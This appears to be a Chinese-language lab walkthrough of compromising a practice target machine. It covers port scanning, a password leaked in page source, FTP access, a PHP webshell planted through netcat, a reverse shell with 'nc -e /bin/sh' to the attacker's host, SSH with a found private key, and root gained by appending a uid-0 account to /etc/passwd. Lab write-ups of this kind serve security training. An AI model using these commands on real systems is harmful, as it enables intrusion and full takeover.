一、信息收集
1.设置静态IP(靶机和虚拟机)
扫描开放端口
查看http网页,发现没有别的功能点
右键查看页面源代码,发现了一个账号密码
扫描目录,扫到一个logs目录
二、渗透测试
尝试访问,发现没有权限
发现还开放着ssh和ftp端口,尝试利用源代码泄露出的账号密码远程连接
username:logs
password:zg]E-b0]+8:(58G
ssh连接失败
ftp成功连接
dir发现该目录下有一个文件且是满权限
查看文件内容发现没有权限
将其远程下载到kali
get backup_log.php /home/kali/Desktop/s.php
查看文件内容
发现内容可能是一个日志文件,尝试网页打开,打开成功
传说,需要访问10001端口才能写入到日志里面来
在端⼝ 10001 上启动了⼀个 netcat 会话,我们得到了⼀个空⽩的 shell,往里写入一个webshell
nc -nv 192.168.2.120 10001
<?php system($_GET['cmd']) ?>
网页输入cmd=id,弹出信息
输入反弹shell
nc -e /bin/sh 192.168.2.128 4444
监听成功
获取一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
三、权限提升
cd /media/USB_1/Stuff/Keys
ls
发现了两个文件
查看authorized_keys 文件,找到一个账户
查看账号信息,发现确实有一个hbeale的账户
cat /etc/passwd | grep "/bin/bash"
查看密钥文件id_rsa
尝试用密钥文件进行登录
ssh -i id_rsa hbeale@192.168.2.120
登录成功,查看权限
提权root
查看/etc/passwd文件权限,有写入权限
kali生成一个密钥
openssl passwd 123456
创建一个newroot账户
echo 'newroot:$1$n/MP0bwU$y5JOdgSoN0M72XqU1rclU0:0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
进行连接
提权成功